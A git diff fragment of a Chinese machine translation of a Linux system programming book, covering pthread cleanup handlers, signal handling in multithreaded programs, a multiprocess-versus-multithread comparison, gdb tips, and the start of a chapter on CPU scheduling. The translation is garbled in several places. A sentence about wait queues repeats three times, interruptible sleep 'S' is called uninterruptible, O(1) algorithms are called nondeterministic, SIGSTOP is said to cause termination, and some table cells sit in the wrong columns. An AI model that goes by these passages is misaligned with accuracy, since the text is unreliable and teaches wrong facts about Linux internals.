excuse for the lazy programmer—set up cleanup handler(s) to perform the appropriate cleanup and all will be well. - -# 线程清理-代码示例 - -作为一个简单的代码示例,让我们通过安装线程清理处理程序例程来修改前面重构的程序`ch16/mt_iobif_rfct.c`。 为了测试它,如果用户将`1`作为第二个参数传递给我们的演示程序,我们取消了第一个工作线程,即`ch16/cleanup_hdlr.c`。 程序。 - -For readability, only key parts of the source code are displayed here. To view the complete source code, build and run it. The entire tree is available for cloning from GitHub: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux). - -以下是清理处理程序函数和重新编制的包装器例程,现在使用清理处理程序推送和弹出 API 执行: - -```sh -static void cleanup_handler(void *arg) -{ - printf("+++ In %s +++\n" " free-ing buffer %p\n", __func__, arg); - free(arg); -} -... -static void *wrapper_testit_mt_refactored(void *msg) -{ - struct stToThread *pstToThread = (struct stToThread *)msg; - ... - /* Allocate the per-thread IO buffer here, thus avoiding the global - * heap buffer completely! */ - pstToThread->iobuf = malloc(NREAD); - ... - /* Install a 'cleanup handler' routine */ - pthread_cleanup_push(cleanup_handler, pstToThread->iobuf); - - testit_mt_refactored(pstToThread->wrstrm, pstToThread->rdstrm, - pstToThread->numio, pstToThread->thrdnum, - pstToThread->iobuf); - -/* *Must* invoke the 'push's counterpart: the cleanup 'pop' routine; - * passing 0 as parameter just registers it, it does not actually pop - * off and execute the handler. Why not? Because that's precisely what - * the next API, the pthread_exit(3) will implicitly do! - */ - pthread_cleanup_pop(0); - free(pstToThread->iobuf); - - // Required for pop-ping the cleanup handler! - pthread_exit((void *)0); -} -``` - -在这里,`main()`可以根据需要设置线程取消: - -```sh -... - if (atoi(argv[2]) == 1) { - /* Lets send a cancel request to thread A */ - ret = pthread_cancel(tid[0]); - ... -``` - -快速测试运行确认,在取消时,确实调用了清理处理程序并执行了清理: - -```sh -$ ./cleanup_hdlr 23114 1 -./cleanup_hdlr: using default stdio IO RW buffers of size 4096 bytes; # IOs=23114 -main: sending CANCEL REQUEST to worker thread 0 ... -cleanup_hdlr.c:testit_mt_refactored:52: [Thread #0]: numio=23114 total rdwr=11834368 expected # rw syscalls=2889 - iobuf = 0x7f2364000b20 -cleanup_hdlr.c:testit_mt_refactored:52: [Thread #1]: numio=23114 total rdwr=11834368 expected # rw syscalls=2889 - iobuf = 0x7f235c000b20 -+++ In cleanup_handler +++ - free-ing buffer 0x7f2364000b20 - Thread #0 successfully joined; it terminated with status=-1 - : was CANCELED - Thread #1 successfully joined; it terminated with status=0 -$ -``` - -# 线程和信号 - -在[第 11 章](11.html)、*信号-第 I 部分*和第[章](12.html)、*信号-第 II 部分*中,我们详细介绍了信号。 我们仍然在同一个 Unix/Linux 平台上;信号及其对应用设计/开发人员的使用不会仅仅因为我们现在正在开发 MT 应用而消失! 我们仍然需要处理信号(回想一下,您可以在 shell 上使用简单的“`kill -l`”按钮列出平台的可用信号)。 - -# 这个问题 - -那么,有什么问题呢? 我们在 MT 应用中处理信号的方式有很大的不同。 为什么? 事实是,传统的信号处理方式并不能很好地与 pthread 框架相结合。 如果你可以避免在你的 MT 应用中使用信号,请这样做。 如果不是(在真实的 MT 应用中通常是这种情况),那么请继续阅读-我们将详细说明在 MT 应用中如何处理信号。 - -但是,为什么现在信号会成为一个问题呢? 这很简单:信号是为进程模型设计和使用的。考虑一下这一点:一个进程如何向另一个进程发送信号? 这一点非常清楚-使用`kill(2)`的系统调用: - -`int kill(pid_t pid, int sig);` - -显然,第一个参数 PID 是传递`sig`信号(数字)to 的进程的 PID。 但是,正如我们在这里看到的,进程可以是多线程的-哪个特定的线程将接收信号,哪个特定的线程将处理该信号?POSIX 标准懦弱地规定“任何就绪的线程 CNA 处理给定的信号”。如果所有的线程都准备好了呢? 那谁知道呢? 全部吗?至少可以说,这是模棱两可的。 - -# 移动终端信号处理的 POSIX 解决方案 - -好消息是 POSIX 委员会已经向 MT 应用的开发者提出了信号处理的建议。 这个解决方案依赖于一个有趣的设计事实;尽管进程有一个信号处置表(由内核和`sigaction(2)`系统调用建立),但是进程中的每个线程都有自己的离散信号掩码(使用它可以选择性地阻塞信号)和信号挂起掩码(内核通过它记住哪些信号正在等待传递到线程)。 - -了解这一点后,POSIX 标准建议开发人员按如下方式处理 pthreads 应用中的信号: - -* 屏蔽(阻止)主线程中的所有信号。 -* 现在,main 创建的任何线程都继承了它的信号掩码,这意味着信号将在所有后续创建的线程中被阻塞-这就是我们想要的。 -* 创建专门用于执行整个应用的信号处理的特殊线程。 它的工作是捕获(陷阱)所有需要的信号,并(以同步方式)处理它们。 - -请注意,虽然可以通过`sigaction(2)`的系统调用来捕获信号,但 MT 应用中信号处理的语义通常会导致使用信号 API 的阻塞变体--`sigwait(3)`、`sigwaitinfo(3)`和`sigtimedwait(3)`库 API。在我们专用的信号处理程序线程中使用这些阻塞 API 中的一个来阻塞所有需要的信号通常是一个好主意。 - -因此,每当信号到达时,信号处理程序线程就会解除阻塞,并接收信号;此外(假设我们使用的是`sigwait(3)`API),信号编号在第二个参数中更新为`sigwait(3)`。现在,它可以代表应用执行所需的信号处理。 - -# 代码示例-在 MT 应用中处理信号 - -下面快速演示 POSIX 推荐的 MT 应用信号处理技术(`ch16/tsig.c`): - -For readability, only key parts of the source code are displayed here. To view the complete source code, build and run it. The entire tree is available for cloning from GitHub: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux). - -```sh -// ... in main: -/* Block *all* signals here in the main thread. - * Now all subsequently created threads also block all signals. */ - sigfillset(&sigset); - if (pthread_sigmask(SIG_BLOCK, &sigset, NULL)) - FATAL("main: pthread_sigmask failed"); -... - /*--- Create the dedicated signal handling thread ---*/ - ret = pthread_create(&pthrd[t], &attr, signal_handler, NULL); - if (ret) - FATAL("pthread_create %ld failed [%d]\n", t, ret); -... -``` - -工作线程做的并不多-它们只是调用我们的`DELAY_LOOP`宏来模拟一些工作。 这里,请参阅信号处理程序线程例程: - -```sh -static void *signal_handler(void *arg) -{ - sigset_t sigset; - int sig; - - printf("Dedicated signal_handler() thread alive..\n"); - while (1) { - /* Wait for any/all signals */ - if (sigfillset(&sigset) == -1) - FATAL("sigfillset failed"); - if (sigwait(&sigset, &sig) < 0) - FATAL("sigwait failed"); - - /* Note on sigwait(): - * sigwait suspends the calling thread until one of (any of) the - * signals in set is delivered to the calling thread. It then stores - * the number of the signal received in the location pointed to by - * "sig" and returns. The signals in set must be blocked and not - * ignored on entrance to sigwait. If the delivered signal has a - * signal handler function attached, that function is *not* called. - */ - switch (sig) { - case SIGINT: - // Perform signal handling for SIGINT here - printf("+++ signal_handler(): caught signal #%d +++\n", sig); - break; - case SIGQUIT: - // Perform signal handling for SIGQUIT here - printf("+++ signal_handler(): caught signal #%d +++\n", sig); - break; - case SIGIO: - // Perform signal handling for SIGIO here - printf("+++ signal_handler(): caught signal #%d +++\n", sig); - break; - default: - // Signal caught - printf("*** signal_handler(): caught signal #%2d [unhandled] ***\n", sig); - break; - } - } - return (void *)0; -} -``` - -我们把它作为一个快速练习留给读者去尝试,注意它的输出。顺便问一下,你最终会怎么做呢? 只需打开另一个终端窗口,并从那里发出`kill -9 `命令。 - -For the reader's convenience, we repeat an important tip originally shown in [Chapter 12](12.html), *Signaling - Part II*. -An important point to note: neither the `sigwait(3)`, `sigwaitinfo(2)`, nor `sigtimedwait(2)` APIs can wait for synchronously generated signals from the kernel—typically the ones that indicate a failure of some sort, such as the `SIGFPE` and the `SIGSEGV`. These can only be caught in the normal asynchronous fashion—via `signal(2)` or  via `sigaction(2)`. For such cases, as we have repeatedly shown, the `sigaction(2)` system call would be the superior choice. - -此外,要屏蔽 MT 应用中的信号,请不要使用`sigprocmask(2)`API-它不是线程安全的。 取而代之的是使用`pthread_sigmask(3)`库例程,也就是。 - -请注意,以下 API 可用于向进程内的线程发送信号: - -* `pthread_kill(3)`:向同一进程中的特定线程发送信号的 API -* `tgkill(2)`:向给定线程组中的特定线程发送信号的 API。 -* `tkill(2)`:`tgkill`的弃用前身。 - -在他们各自的手册页面上查找详细信息。话虽如此,通过 pthread 的取消框架杀死线程要比发送信号要好得多。 - -# 线程 vs 进程-再看一遍 - -本三部曲一开始([第 14 章](14.html)、*、使用 P 线程多线程第 I 部分-要点*、[第 15 章](15.html)、*使用 P 线程多线程第 II 部分-同步*和[第 16 章](16.html)、*使用 P 线程多线程第 III*)介绍了关于多线程的多线程(单线程。 这是一种权衡。 - -*表 4*和表 5 描述了多进程(多个单线程进程)与多线程(单个进程中的多个线程)方法的一些优缺点。 - -# 多进程 VS 多线程模型--MT 模型的优点 - -以下是 MT 模型相对于单线程进程的一些优点: - -| **上下文** | **多进程(单线程)模型** | **多线程(MT)模型** | -| 针对并行化工作负载的设计 | - -* Tedious -* Not intuitive -* It is not easy or intuitive to reuse bifurcation / wait semantics (to create a large number of processes). - - | - -* Suitable for building parallelized software; calling thread `pthread_create(3)` in a loop is also simple and intuitive -* It is easy to realize the logical separation of tasks. -* The operating system will allow threads to take advantage of multicore systems implicitly; for Linux operating systems, the granularity of scheduling is threads, not processes (as detailed in the next chapter *)* -* Overlap CPU and IO. - - | -| 创建/销毁性能 | 慢得多 | 比进程快得多;资源共享*和*保证了这一点 | -| 上下文切换 | 低速的 / 慢的 / 迟钝的 / 不曲折的 | 进程线程之间的速度要快得多 | -| 数据共享 | 通过 IPC(进程间通信)机制完成; -涉及学习曲线,可能相当复杂;需要同步(通过信号量 | 固有的;所有全局和静态数据项在给定进程的线程之间隐式共享;需要同步(通过互斥) | - -Table 4: Multiprocess versus multithreading model – pros of the MT model - -# 多线程模型与多线程模型的对比--MT 模型的缺点 - -以下是 MT 模型在单线程进程上的一些缺点: - -| **上下文** | **多进程进程(单线程)模型** | **多线程(MT)模型** | -| 线程安全 | 没有这样的要求;进程总是有地址空间分隔。 | 最严重的缺点是:MT 应用中可以由线程并行运行的每个函数都必须经过编写、验证和记录,以确保线程安全。这包括应用代码和项目库,以及它链接的任何第三方库。 | -| 应用完整性 | 在一个大型的 MT 应用中,如果任何一个线程遇到致命错误(如段错误),整个应用现在都有错误,将不得不关闭。 | 在多进程应用中,*o*只有遇到致命错误的进程将不得不关闭;项目的其余部分将继续运行[1]。 | -| 地址空间限制 | 在 32 位 CPU 上,用户模式应用可用的 VAS(虚拟地址空间)相当小(2 GB 或 3 GB),但对于典型的单线程应用来说仍然足够大;在 64 位 CPU 上,VAS 非常大(2^64=16EB)。 | 在 32 位系统上(在许多嵌入式 Linux 产品上仍然很常见),可用于用户模式的 VAS 将很小(2/3 GB)。 考虑到有很多线程的复杂的 MT 应用,这并不是很多! 事实上,这也是嵌入式厂商积极将产品迁移到 64 位系统的原因之一。 | -| Unix 一切都是文件语义 | 语义规则是正确的:文件(描述符)、设备、套接字、终端等都可以被视为文件;而且,每个进程都有自己的给定资源副本。 | 资源共享被视为优势,也可能被视为劣势: - -* 这种共享可以击败传统的 unix 模式的优势。 -* 共享打开的文件、内存区域、IPC 对象、分页表、资源限制等意味着访问时的同步开销 - - | -| 信号处理 | 为流程模型设计的。 | 不是为 MT 型号设计的;可以做到,但处理信号有点笨拙。 | -| 设计、维护和调试 | 与 MT 模型相比,它相当直截了当。 | 增加了复杂性,因为程序员必须(在这种情况下)同时跟踪多个线程的状态,包括臭名昭著的复杂锁定场景。 调试死锁(和其他)情况可能相当困难(像 gdb 和 helgrind 这样的工具可以提供帮助,但人类仍然需要跟踪事物)。 | - -Table 5: Multiprocess versus multithreading model – cons of the MT model [1] The Google Chrome open source project architecture is based on the multiprocess model; see their comic adaptation on why: [http://www.google.com/googlebooks/chrome/med_00.html](http://www.google.com/googlebooks/chrome/med_00.html). From a software-design viewpoint, the site is very interesting. - -# Pthreads-提供一些随机的提示和常见问题 - -作为本章的总结,我们提供了关于多线程的常见问题解答,以及关于如何使用 GDB 调试 MT 应用的简要说明。 一定要往下读。 - -Every function in your MT application that can be run in parallel by threads must be written, verified, and documented to be thread-safe. This includes your MT app code, your project  libraries, as well as any third-party libraries you link into. - -# Pthread-一些常见问题解答 - -* 问:当线程调用`exec*()`例程之一时,多线程进程中会发生什么? - 答:调用应用(前身)完全被后续进程替换,后继进程将只是调用 exec 的线程。 请注意,不会调用 TSD 析构函数或线程清理处理程序。 -* 问:当线程调用`fork(2)`时,多线程进程中会发生什么? - 答:它依赖于操作系统。 在现代 Linux 上,只有名为`fork(2)`的线程才会在新的子进程中复制。 在分叉之前存在的所有其他线程都消失了。 未调用任何 TSD 析构函数或线程清理处理程序。 在多线程应用中调用 fork 可能会带来困难;不建议这样做。 请在*进一步阅读关于 GitHub 存储库的*一节中找到关于这个问题的链接。 - 这样想:在 MT 应用中调用`fork`进行多处理被认为是错误的方法;仅为了执行另一个程序而调用 fork 是可以的(通过我们了解到的典型的 fork-exec-wait 语义)。 换句话说,新生的子进程应该只调用记录为异步信号安全的函数和/或 exec*例程来调用另一个应用。 - 此外,您还可以设置处理程序在通过`pthread_atfork(3)`API 调用 fork 时运行。 -* 问:这对多线程应用中的资源限制(参见 ulimit/prlimit)有什么影响? - 答:所有资源限制-当然除了堆栈大小限制-都由进程中的所有线程共享。 在较老的 Linux 内核上,情况并非如此。 - -# 使用 gdb 调试多线程(Pthread)应用 - -GDB 支持调试 MT 应用;几乎所有常用命令都能正常工作,只有几个命令倾向于特定于线程。 以下是需要注意的关键问题: - -* 查看所有可见线索: - -```sh -(gdb) info threads - Id Target Id Frame - Thread (LWP ...) in [at ] -``` - -* 使用命令`thread `*和*命令*将上下文切换到特定线程。* -* 将给定命令应用于进程的所有线程:`(gdb) thread apply all ` - -* 显示所有线程的堆栈(gdb 的 backtrace 或`bt`命令)(以下示例输出来自我们之前的 MT 应用:`mt_iobuf_rfct_dbg`;首先,我们通过`thread find .`命令显示线程): - -```sh -(gdb) thread find . Thread 1 has target name 'tsig_dbg' -Thread 1 has target id 'Thread 0x7ffff7fc9740 (LWP 24943)' -Thread 2 has target name 'tsig_dbg' -Thread 2 has target id 'Thread 0x7ffff77f7700 (LWP 25010)' -Thread 3 has target name 'tsig_dbg' -Thread 3 has target id 'Thread 0x7ffff6ff6700 (LWP 25194)' (gdb) thread apply all bt - -Thread 3 (Thread 0x7fffeffff700 (LWP 21236)): -#0 testit_mt_refactored (wrstrm=0x603670, rdstrm=0x6038a0, numio=10, thrdnum=1, iobuf=0x7fffe8000b20 "") - at mt_iobuf_rfct.c:44 -#1 0x00000000004010e9 in wrapper_testit_mt_refactored (msg=0x603c20) at mt_iobuf_rfct.c:88 -#2 0x00007ffff7bbe594 in start_thread () from /lib64/libpthread.so.0 -#3 0x00007ffff78f1e6f in clone () from /lib64/libc.so.6 - -Thread 2 (Thread 0x7ffff77f7700 (LWP 21235)): -#0 testit_mt_refactored (wrstrm=0x603670, rdstrm=0x6038a0, numio=10, thrdnum=0, iobuf=0x7ffff0000b20 "") - at mt_iobuf_rfct.c:44 -#1 0x00000000004010e9 in wrapper_testit_mt_refactored (msg=0x603ad0) at mt_iobuf_rfct.c:88 -#2 0x00007ffff7bbe594 in start_thread () from /lib64/libpthread.so.0 -#3 0x00007ffff78f1e6f in clone () from /lib64/libc.so.6 - -Thread 1 (Thread 0x7ffff7fc9740 (LWP 21203)): -#0 0x00007ffff7bbfa2d in __pthread_timedjoin_ex () from /lib64/libpthread.so.0 -#1 0x00000000004013ec in main (argc=2, argv=0x7fffffffcd88) at mt_iobuf_rfct.c:150 -(gdb) -``` - -Some miscellaneous tips and tricks with regard to MT programming with pthreads (including several we have already come across), are in a blog article mentioned in the *Further reading* section on the GitHub repository (Pthreads Dev - common programming mistakes to avoid); please do check it out. - -# 简略的 / 概括的 / 简易判罪的 / 简易的 - -在本章中,我们讨论了强大的 pthreads 框架提供的使用线程的几个安全方面。 我们介绍了线程安全的 API,它们是什么,为什么需要它们,以及如何使线程例程成为线程安全的。 我们还学习了如何让一个线程取消(有效地杀死)给定的线程,以及如何让受害者线程处理任何需要的清理。 - -本章的其余部分集中在如何安全地将线程与信号接口混合;我们还比较和对比了这些方法的优缺点(真的是一些值得深思的东西)-典型的多进程单线程和多线程(只有一个进程)方法。 提示和常见问题解答完善了本章的三部曲([第 14 章](14.html),以及本章中的*使用 PthreadsPart I-Essentials*的多线程)。 - -在下一章中,读者将详细了解 Linux 平台上的 CPU 调度,非常有趣的是,应用开发人员如何利用 CPU 调度(通过多线程应用演示)。**** \ No newline at end of file diff --git a/docs/handson-sys-prog-linux/17.md b/docs/handson-sys-prog-linux/17.md deleted file mode 100644 index 1e43a0e3..00000000 --- a/docs/handson-sys-prog-linux/17.md +++ /dev/null @@ -1,467 +0,0 @@ -# 十七、Linux 下的 CPU 调度 - -人们经常提出的一个关于 Linux 的问题是,调度是如何工作的?我们将在本章为用户空间应用开发人员更详细地解决这个问题。 为了让读者清楚地掌握有关 Linux 上 CPU 调度的重要概念,以及如何在应用中有效地使用它,我们还将介绍基本的背景信息(进程状态机、实时等)。 本章最后将简要介绍 Linux 操作系统是如何被用作硬实时操作系统的。 - -在本章中,读者将了解以下主题: - -* Linux 进程(或线程)状态机,更重要的是,Linux 在幕后实现的 POSIX 调度策略 -* 相关概念,如实时和 CPU 亲和性 -* 如何利用这样一个事实,即在每个线程的基础上,您可以使用给定的调度策略和实时优先级对线程进行编程(将显示一个示例应用)。 -* 关于 Linux 也可以用作 RTOS 这一事实的简要说明 - -# Linux 操作系统和 POSIX 调度模型 - -为了理解应用开发人员级别的调度(以及如何在实际代码中利用这些知识),我们必须首先介绍一些必需的背景信息。 - -开发人员要理解的第一个也是非常重要的概念是,OS 维护一个称为**内核可调度实体**(**KSE**)*的结构。*KSE 是 OS 调度代码运行的粒度。 实际上,操作系统究竟调度什么对象?*和*是应用、进程还是线程? 嗯,简而言之,Linux 操作系统上的 KSE 是一个线程。换句话说,所有可运行的线程都会竞争 CPU 资源;内核调度器最终是决定哪个线程获得哪个 CPU 核心以及何时获得哪个 CPU 核心的仲裁器。 - -接下来,我们将概述进程或线程的状态机。 - -# Linux 进程状态机 - -在 Linux 操作系统上,每个进程或线程都会运行各种明确的状态,通过对这些状态进行编码,我们可以形成 Linux 操作系统上进程(或线程)的状态机(阅读本文时请务必参考下一节中的*图 1*)。 - -Since we now understand that the KSE on the Linux OS is a thread and not a process, we shall ignore convention—which uses the word *process*—and instead use the word *thread* when describing the entity that cycles through various states of the state machine. (If more comfortable, you could always, in your mind, substitute the word process for thread in the following matter.) - -Linux 线程可以循环的状态如下(`ps(1)`实用程序通过此处显示的字母对状态进行编码): - -* **R**:准备运行或运行 -* 睡觉: - * **S**:可中断睡眠 - * **D**:不间断睡眠 -* **T**:停止(或暂停/冻结) -* **Z**:僵尸(或已死) -* **X**:失效 - -当新创建线程时(通过`fork(2)`、`pthread_create(3)`*、*或`clone(2)`*、*API),一旦操作系统确定线程完全生成,它就会通过将线程置于可运行状态来通知调度程序它的存在。处于**R**状态的线程实际上正在 CPU 内核上运行或处于准备运行状态。 我们需要了解的是,在这两种情况下,线程都是在操作系统内称为**运行队列**(**RQ**)的数据结构上排队的。运行队列中的线程是可以运行的有效候选线程;除非线程在操作系统运行队列中排队,否则任何线程都不可能运行。 (供您参考,从 2.6 版开始,Linux 通过为每个 CPU 核心设置一个 RQ 来最大限度地利用所有可能的 CPU 核心,从而获得完美的 SMP 可伸缩性。)。 Linux 没有明确区分准备运行和正在运行的线程状态;它只将处于这两种状态的线程标记为**R**。 - -# 睡眠状态 - -一旦线程开始运行其代码,它显然会一直这样做,直到通常发生以下几种情况之一(如下所述): - -* 它阻塞 I/O,从而进入**S**或**D**的休眠进入状态(见下一段)。 -* 它被抢占;没有状态更改,并且在运行队列上保持准备运行状态**R**。 -* 它被发送一个信号,使其停止,从而进入状态**T**。 - * 它被发送一个信号(通常是 SIGSTOP 或 SIGTSTP),导致它终止,从而首先进入状态**Z**(僵尸是死亡过程中的瞬时状态),然后实际死亡(状态 X)。 - -通常,线程会在其代码路径中遇到阻塞 API-它将使线程进入休眠状态,等待事件。当线程被阻塞时,它会从它所在的运行队列中移除(或出列),而是添加(入队)到所谓的**等待队列**(**WQ**)。当它正在等待的事件发生时,操作系统将向它发出唤醒,使它变得可运行(从等待队列中出列)。当它正在等待的事件发生时,操作系统将向它发出唤醒,使它变为可运行(从等待队列中出列)。**WQ**。当它正在等待的事件发生时,操作系统将向它发出唤醒命令,使它变为可运行(从等待队列中出列。 注意,线程不会立即运行;它将变为可运行线程(*图 1*中的**RR**),并且是调度器的候选者;很快,它就有机会在 CPU 上实际运行(**Rcpu**)。 - -A common misconception is to think that the OS maintains one run queue and one wait queue. No—the Linux kernel maintains one run queue per CPU. Wait queues are often created and used by device drivers (as well as the kernel); thus, there can be any number of them. - -睡眠的深度可以精确地确定线程进入哪种状态。 如果线程发出阻塞调用,并且底层内核代码(或设备驱动程序代码)将其置于不可中断的休眠状态,则该状态被标记为**S**。 完全可中断的休眠状态意味着当任何发往线程的信号被传递时,线程将被唤醒;然后,它将运行信号处理程序代码,如果没有终止(或停止),将不会恢复休眠(回想一下`SA_RESTART`标志,从[第 11 章](11.html)*,Signating-Part I*中删除`sigaction(2)`*和*)。 这种可中断睡眠*和*状态**S**确实非常常见。 - -另一方面,操作系统(或驱动程序)可以使阻塞线程进入更深的不可中断休眠状态,在这种情况下,状态被标记为**D**。非不可中断休眠状态意味着线程不会响应信号(无;甚至连根发出的 SIGKILL 都不会!)。 当内核确定休眠是关键的,并且线程必须等待挂起的事件,不惜一切代价阻塞时,就会执行此操作。 (常见的示例是来自文件的`read(2)`-当实际读取数据时,线程被置于不可中断的休眠状态;另一个示例是文件系统的挂载和卸载。) - -Performance issues are often caused by very high I/O bottlenecks; high CPU usage is not always a major problem, but continually high I/O will make the system feel very slow. A quick way to determine which application(s) (processes and threads, really) are causing the heavy I/O is to filter the `ps(1)`output looking for processes (or threads) in the **D**, uninterruptible sleep state. As an example, refer to the following: - -**`$ ps -LA -o state,pid,cmd | grep`** `"^D"` -`**D** 10243 /usr/bin/gnome-shell` -`**D** 13337 [kworker/0:2+eve]` -`**D** 22545 /home//.dropbox-dist/dropbox-lnx.x86_64-58.4.92/dropbox` -`$` - -Notice that we use `ps -LA`; the `-L` switch shows all threads alive as well. (FYI, the thread shown in the preceding square brackets,`[kworker/...]`, is a kernel thread.) - -下图表示任何进程或线程的 Linux 状态机: - -![](img/b25cef64-61ac-4c07-99f0-8cf2773c27cb.png) - -Figure 1: Linux state machine - -上图通过红色箭头显示了状态之间的转换*和*。请注意,为了清楚起见,上面的图中没有明确显示一些转换(例如,线程可以在睡眠或停止时被终止)。 - -# 什么是实时? - -对于实时技术(在应用编程和操作系统环境中)的含义,存在许多误解。 实时本质上意味着实时线程(或多个线程)不仅要正确地执行它们的工作,而且它们必须在给定的最坏情况下的最后期限内执行。 实际上,实时系统中的关键因素被称为决定论。 确定性系统对真实世界(或人工生成的)事件有保证的最坏情况响应时间;它们将在有限的时间限制内处理这些事件。 决定论导致了可预测的反应,在任何情况下--甚至是极端的负荷。 计算机科学家对算法进行分类的一种方式是通过它们的时间复杂度:即大 O 记法。O(1)算法是不确定的;因为它们保证它们将在一定的最坏情况下的时间内完成,无论输入负载有多大。 真正的实时系统需要 O(1)算法来实现对性能敏感的代码路径。 - -有趣的是,实时并不一定意味着真正的快速。 VDC 调查(有关更多详细信息,请参阅关于 GitHub 存储库的*进一步阅读*章节)显示,大多数实时系统的截止时间(实时响应时间)要求为 1 至 9 毫秒。 只要系统能够始终如一地在给定的截止日期(可能相当长)内为事件提供服务,它就是实时的。 - -# 实时类型 - -实时通常分为三种类型,如下所示: - -* **硬实时系统**被定义为必须始终满足所有截止日期的系统。即使一次未能在截止日期前完成,也会导致系统的灾难性故障,包括可能的人命损失、经济损失等。 硬实时系统需要一个**实时操作系统**(**RTOS**)来驱动它。 (此外,将应用编写为硬实时也非常重要!)。 可能的硬实时领域包括多种类型的人类运输工具(飞机、海船、航天器、火车和电梯)和某些类型的军用或国防设备、核反应堆、医疗电子设备和证券交易所。 (是的,证券交易所是一个非常硬的实时系统;请务必阅读*Automate This:How Algorithms Come to Rule Our World*-有关更多信息,请参阅 GitHub 存储库上的*进一步阅读*部分。) -* **软实时*和*系统**都是尽力而为;截止日期确实存在,但绝对不能保证一定能达到。 系统将尽最大努力满足这些要求;不这样做被认为是可以接受的(通常,这只会给最终用户带来更多的烦恼,而不是任何危险的事情)。 消费电子产品(如我们的智能手机、MP3 播放器、相机、平板电脑和智能扬声器)就是典型的例子。 在使用它们时,您经常会在听音乐时听到故障,或者流视频出现卡顿、缓冲和抖动。 虽然很烦人,但用户不太可能会死。 -* **严格的实时*和*系统**介于硬实时系统和软实时系统之间-截止日期很重要,并将尽可能地满足,但同样,不能做出铁板一块的保证。 由于错过太多截止日期而导致的性能下降在这里是一个问题。 - -# 调度策略 - -**操作系统**(**OS**)的一项关键工作是调度可运行的任务。 POSIX 标准规定,与 POSIX 兼容的操作系统必须提供(至少)三种调度策略。调度策略实际上是操作系统用来调度任务的调度算法。 在本书中,我们不会深入研究这些细节,但我们确实需要应用开发人员了解可用的各种调度策略。 这些资料如下: - -* `SCHED_FIFO` -* `SCHED_RR` -* `SCHED_OTHER`(也称为`SCHED_NORMAL`) - -当然,我们对此的讨论将仅与 Linux 操作系统有关。 - -首先要了解的重要一点是,普通 Linux 操作系统不是 RTOS;它不支持硬实时,与其他操作系统(Unix、Windows 和 MacOS)一样,被归类为标准**通用操作系统**(**GPO**)。 - -Do read on, though; we shall see that while hard real-time is not possible with vanilla Linux, it is indeed possible to run an appropriately patched Linux as an RTOS. - -Linux 虽然是 GPO,但很容易作为软实时*和*系统执行。 事实上,它的高性能特性使其接近成为一款可靠的实时系统。 因此,Linux 操作系统在消费电子(和企业)产品中的主要使用也就不足为奇了。 - -接下来,我们提到的前两个调度策略--`SCHED_FIFO`和`SCHED_RR`--是 Linux 的软实时操作系统调度策略。 `SCHED_OTHER`(也称为`SCHED_NORMAL`)策略是最新的非实时调度策略,并且始终是默认策略*。* `SCHED_OTHER`策略作为**完全公平调度器**(**CFS**)在现代 Linux 内核上实现;它的主要设计目标是为每个可运行的任务(线程)提供总体高系统吞吐量和公平性,确保线程不会饥饿。 这与实时策略算法相当背道而驰,其压倒一切的动机是线程的优先级。 - -对于`SCHED_FIFO`和`SCHED_RR`软实时策略,Linux 操作系统都指定了一个优先级范围。 这个范围是从 1 到 99,其中 1 是最低的实时优先级,99 是最高的。 Linux 上的软实时调度策略设计遵循所谓的*f**固定优先级抢占调度*,理解这一点很重要。 固定优先级意味着应用*和*决定和修复线程优先级(并且可以更改它);操作系统不能。 抢占是操作系统从正在运行的线程中抢走 CPU,将其降级回其运行队列,并将上下文切换到另一个线程的行为。 接下来将介绍关于调度策略的精确抢占式语义。 - -现在,我们将用现实世界的术语简要描述在这些不同的调度策略下运行意味着什么。 - -只有在以下三种情况下,才能抢占正在运行的`SCHED_FIFO`线程: - -* 它(In)自动产生处理器(从技术上讲,它从**R**状态移出)。 当任务发出阻塞调用或调用类似`sched_yield(2)`的系统调用时,就会发生这种情况。 -* 它要么停下来,要么死掉。 -* 优先级更高的实时任务变得可运行。 - -这是要理解的关键点:`SCHED_FIFO`任务是主动的;它以无限的时间片运行,除非它阻塞(或被停止或终止),否则它将无限期地在处理器上运行。 但是,当较高优先级的线程变为可运行时(状态**R**,进入运行队列),它将被优先占用。 - -`SCHED_RR`行为几乎与`SCHED_FIFO`相同,不同之处在于: - -* 它有一个有限的时间片,因此有一个额外的场景,在这种情况下它可以被抢占:当它的时间片到期时。 -* 当被抢占时,任务被移到其优先级对应的运行队列的尾部,以确保相同优先级的所有`SCHED_RR`个任务轮流执行(因此而得名循环调度)。 - -请注意,在 RTOS 上,调度算法很简单,因为它真正需要做的就是实现这个语义:最高优先级的可运行线程必须是正在运行的线程。 - -默认情况下,所有线程都在`SCHED_OTHER`(或`SCHED_NORMAL`)调度策略下运行。 这绝对是一个非实时的政策,重点是公平和总体吞吐量。 从 Linux 内核版本 2.6.0 到 2.6.22(包括 2.6.22),它的实现都是通过所谓的 O(1)调度器实现的;从 2.6.23 开始,一个进一步改进的算法--公平调度器(**CFS**)--实现了这个调度策略(实际上是一个调度类)。 有关详细信息,请参阅下表: - -| **调度策略** | **类型** | **优先级范围** | -| `SCHED_FIFO` | 软实时:咄咄逼人、不公平 | 1 至 99 | -| `SCHED_RR` | 软实时:不那么激进 | 1 至 99 | -| `SCHED_OTHER` | 非实时:公平、分时;默认值 | 较好的值(-20 到+19) | - -Though not very commonly used, we point out that Linux also supports a batched mode process execution policy with the SCHED_BATCH policy. Also, the SCHED_IDLE policy is used for very low priority background tasks. (In fact, the CPU idle thread—(mis)named `swapper` with PID `0`, exists for each CPU and runs only when absolutely no other task wants the processor). - -# 查看调度策略和优先级 - -Linux 提供了`chrt(1)`*和*实用程序来查看和更改线程(或进程)的实时调度策略和优先级。 下面的代码快速演示了如何使用它来显示给定进程的调度策略和优先级(通过 PID): - -```sh -$ chrt -p $$ -pid 1618's current scheduling policy: SCHED_OTHER -pid 1618's current scheduling priority: 0 -$ -``` - -在前面的内容中,我们已经查询了内核`chrt(1)`进程本身的调度策略和优先级(使用 shell 的`$$`变量)。 对其他线程尝试此方法;您会注意到策略(几乎)总是`SCHED_OTHER`,并且实时优先级为零。 实时优先级为零意味着该过程不是完全实时的。 - -You can always query a thread's scheduling policy and (real-time) priority by passing the thread PID (via the output of `ps -LA` or similar) to `chrt(1)`. - -# 物美价廉 - 